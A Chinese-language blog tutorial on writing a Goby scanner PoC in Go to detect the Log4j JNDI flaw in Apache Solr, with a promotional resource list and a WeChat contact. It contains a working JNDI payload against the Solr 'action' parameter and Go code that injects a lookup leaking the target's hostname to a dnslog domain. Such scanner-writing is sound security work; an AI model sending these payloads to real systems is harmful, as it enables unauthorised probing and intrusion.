写点什么

使用 goby 检测 log4j 漏洞

  • 2022 年 2 月 18 日
  • 本文字数:1642 字

    阅读完需:约 5 分钟

一、前言

前段时间的 Log4j 漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用 goby 较多,就想利用 goby 的指纹识别对目标定向检测。这篇文章就从 Apache Solr Log4j 漏洞为例,教大家如何写 goby poc,文章中有错误还请及时指正。


Goby 可以通过编写 go 文件,来实现一些高级的漏洞检测或利用,例如 dnslog 检测漏洞,详情可查阅 goby 官方文档:https://cn.gobies.org/docs/exp/index.html

二、漏洞复现

首先了解到漏洞触发点是 action 参数,


/solr/admin/collections?action=


通过 dnslog 验证到靶机是存在漏洞。


payload:${jndi:ldap://24x44x.dnslog.cn/a}
复制代码



图一:发送 payload



图二:dnslog 有回显


【一>所有资源获取<一】

1、网络安全学习路线

2、电子书籍(白帽子)

3、安全大厂内部视频

4、100 份 src 文档

5、常见安全面试题

6、ctf 大赛经典题目解析

7、全套工具包

8、应急响应笔记

三、goby poc 编写

Goby 是通过 golang 编写的,而一些漏洞检测场景(比如 dnslog 验证),goby 自身的 JSON 格式无法满足这一需求,需采用 Golang 编写漏洞代码。

expJson 部分

1、首先通过 goby poc 管理,添加 poc,按照 goby 官方漏洞描述模版说明填写并保存。



图三:自定义 poc


2、在 goby 安装目录的\golib\exploits\user 文件夹打开生成的 Apache_Solr_Log4j_JNDI_RCE.json 文件,如果不需要 exp 则需把 HasExp 字段的 true 改为 false。



图四:生成的 json 文件


3、将生成的 json 代码(去掉外围大括号)复制到 goby 漏洞检测 golang 模板的 expJson := {xxx}中。


package exploits
import (//根据需求导入相应的包"fmt""git.gobies.org/goby/goscanner/goutils""git.gobies.org/goby/goscanner/jsonvul""git.gobies.org/goby/goscanner/godclient""git.gobies.org/goby/goscanner/scanconfig""git.gobies.org/goby/httpclient""strings""time")
func init() {expJson := `{expJson部分}`
ExpManager.AddExploit(NewExploit(goutils.GetFileName(),expJson,nil, //自定义POC函数部分。nil, //自定义EXP函数, 没有EXP,就写nil,))}
复制代码


goby 漏洞检测 golang 模板

自定义 POC 函数部分

1、根据官方文档说明


自定义 POC 由一个函数构成,该函数参数分为


jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 结构体组成,通过响应 bool 来确认漏洞是否存在。函数模版如下:


func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {return false}
复制代码


需要通过编写检测漏洞是否存在的 golang 代码,检测到漏洞存在则返回 true,不存在返回 false。



图五:自定义 POC 函数部分


checkStr := goutils.RandomHexString(4)
复制代码


RandomHexString 函数:随机生成指定长度的字符串


checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)
复制代码


GetGodCheckURL 函数:生成 DNSLog 地址


uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"
复制代码


漏洞触发点拼接 payload


cfg := httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:构建GET请求自定义配置,返回RequestConfigcfg.VerifyTls = false //忽略ssl验证cfg.FollowRedirect = false //不跟随跳转cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") //自定义请求头httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:构建自定义请求配置,发送请求,返回请求结果HttpResponse
复制代码


构建并发送自定义配置的 GET 请求,返回请求结果 HttpResponse



图六:通过代理抓取到 goby 发送 payload 的 get 请求


return godclient.PullExists(checkStr, time.Second*15)
复制代码


在一段时间内检测 dnslog 是否有 HTTP 请求成功,如果成功返回 true,否则返回 false。



图七:通过代理抓取到 goby 检测 dnslog 是否有 HTTP 请求成功



图八:漏洞检测成功


注意点:


1、expJson 部分 GobyQuery 查询规则,要保证能匹配到对应目录资产


2、导入 goby,发现加载不出 poc,需要去检查代码的问题


3、使用 goby 官方的函数需通过 import 导入对应的包


当然除了 solr 还有很多框架,希望大家能从文章中学到一点知识,打磨自己的武器。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
使用goby检测log4j漏洞